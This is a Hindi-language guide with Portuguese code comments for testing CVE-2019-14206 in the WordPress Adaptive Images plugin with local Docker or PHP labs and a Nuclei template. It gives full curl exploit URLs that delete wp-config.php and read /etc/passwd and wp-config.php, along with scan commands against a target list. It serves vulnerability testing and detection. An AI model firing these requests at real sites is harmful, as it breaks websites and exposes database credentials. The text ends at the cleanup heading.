CVE-2019-14206 - WordPress के लिए Adaptive Images मनमाना फ़ाइल विलोपन

📋 सूची

1. भेद्यता के बारे में
2. पूर्वापेक्षाएँ
3. स्थापना
4. परीक्षण विधियाँ
   • त्वरित परीक्षण
   • Docker के साथ पूर्ण परीक्षण
   • Nuclei के साथ परीक्षण
   • मैन्युअल परीक्षण
5. परिणामों की व्याख्या
6. सफ़ाई
7. समस्या निवारण
8. शमन
9. कानूनी चेतावनी

---

🎯 भेद्यता के बारे में

CVE-ID: CVE-2019-14206
गंभीरता: उच्च (CVSS 6.5)
प्रभावित प्लगिन: Adaptive Images for WordPress
प्रभावित संस्करण: < 0.6.67

यह भेद्यता क्या अनुमति देती है?

यह भेद्यता एक दूरस्थ और बिना प्रमाणीकरण वाले हमलावर को Adaptive Images प्लगिन का शोषण करके WordPress सर्वर पर मनमानी फ़ाइलें विलोपित करने की अनुमति देती है।

वास्तविक प्रभाव:

• ❌ wp-config.php का विलोपन जिससे साइट पूरी तरह से बंद हो जाती है
• ❌ डेटाबेस क्रेडेंशियल्स का एक्सपोज़र LFI के माध्यम से
• ⚠️ हमले की श्रृंखला जो RCE (रिमोट कोड निष्पादन) की ओर ले जाती है
• 🔴 WordPress साइट से पूर्ण समझौता

मूल कारण:

// O plugin usa input do usuário SEM sanitização
$settings = $_REQUEST['adaptive-images-settings'];

// Constrói caminho de arquivo com parâmetros controlados pelo atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// DELETA arquivo arbitrário
unlink($cache_file);

---

💻 पूर्वापेक्षाएँ

न्यूनतम आवश्यकताएँ:

• ऑपरेटिंग सिस्टम: macOS, Linux या Windows
• Nuclei: संस्करण 3.0 या उससे ऊपर (इंस्टॉल करें)
• Bash: संस्करण 4.0 या उससे ऊपर
• curl: मैन्युअल परीक्षणों के लिए
• PHP: संस्करण 7.0+ (वैकल्पिक, बिल्ट-इन सर्वर के साथ परीक्षण के लिए)

पूर्वापेक्षाओं की जाँच करना:

# Verificar Nuclei
nuclei --version

# Verificar Bash
bash --version

# Verificar curl
curl --version

# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP não disponível (opcional)"

---

🚀 स्थापना

चरण 1: फ़ाइलें क्लोन करें या डाउनलोड करें

# Se estiver no diretório nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Ou baixe os arquivos necessários
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

चरण 2: फ़ाइल संरचना सत्यापित करें

# Verificar se os arquivos existem
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

चरण 3: स्क्रिप्ट को निष्पादन योग्य बनाएं

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

---

🧪 परीक्षण विधियाँ

1. त्वरित परीक्षण ⏱️ 2 मिनट

संपूर्ण शोषण का अनुकरण करने वाला पूर्ण डेमो चलाएँ:

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

क्या होता है:

• पूर्ण परीक्षण वातावरण बनाता है
• भेद्यता का अनुकरण करता है
• फ़ाइल विलोपन प्रदर्शित करता है
• Nuclei टेम्पलेट को मान्य करता है

अपेक्षित आउटपुट:

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

---

2. Docker के साथ पूर्ण परीक्षण 🐳 10 मिनट

चरण 1: Docker वातावरण प्रारंभ करें

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Se Docker estiver rodando
docker-compose up -d

# Se Docker NÃO estiver rodando, use o simulador
./docker-test-full.sh

चरण 2: WordPress तक पहुँचें

# O ambiente estará disponível em
# http://localhost:8888

चरण 3: भेद्य प्लगिन सत्यापित करें

# Verificar se o script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

चरण 4: परीक्षण चलाएँ

# Teste LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Teste File Deletion
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

---

3. Nuclei के साथ परीक्षण 🎯 5 मिनट

चरण 1: लक्ष्य सूची तैयार करें

# Criar arquivo de alvos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

चरण 2: स्कैन चलाएँ

# Scan básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Scan detalhado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Scan com debug (OBRIGATÓRIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Salvar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

चरण 3: परिणामों की व्याख्या करें

# Ver resultados
cat results.txt

# Resultados positivos terão:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

---

4. मैन्युअल परीक्षण 🔧 10 मिनट

चरण 1: PHP सर्वर प्रारंभ करें

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

चरण 2: LFI का परीक्षण करें (फ़ाइलें पढ़ना)

# Tentar ler /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Tentar ler wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

अपेक्षित परिणाम (LFI):

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

चरण 3: फ़ाइल विलोपन का परीक्षण करें

# Verificar se wp-config.php existe ANTES
ls -la wp-config.php

# Executar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado DEPOIS
ls -la wp-config.php

अपेक्षित परिणाम (फ़ाइल विलोपन):

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

---

📊 परिणामों की व्याख्या

सकारात्मक परिणाम (भेद्य):

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

नकारात्मक परिणाम (भेद्य नहीं):

[N/A] No results found

गलत नकारात्मक के संभावित कारण:

• ✅ प्लगिन स्थापित नहीं है
• ✅ प्लगिन अद्यतन किया गया है (संस्करण >= 0.6.67)
• ✅ WAF अनुरोधों को अवरुद्ध कर रहा है
• ✅ सर्वर अपेक्षित पथों पर प्रतिक्रिया नहीं देता है

---

🧹 सफ़ाई

परीक्षण वातावरण साफ़ करें: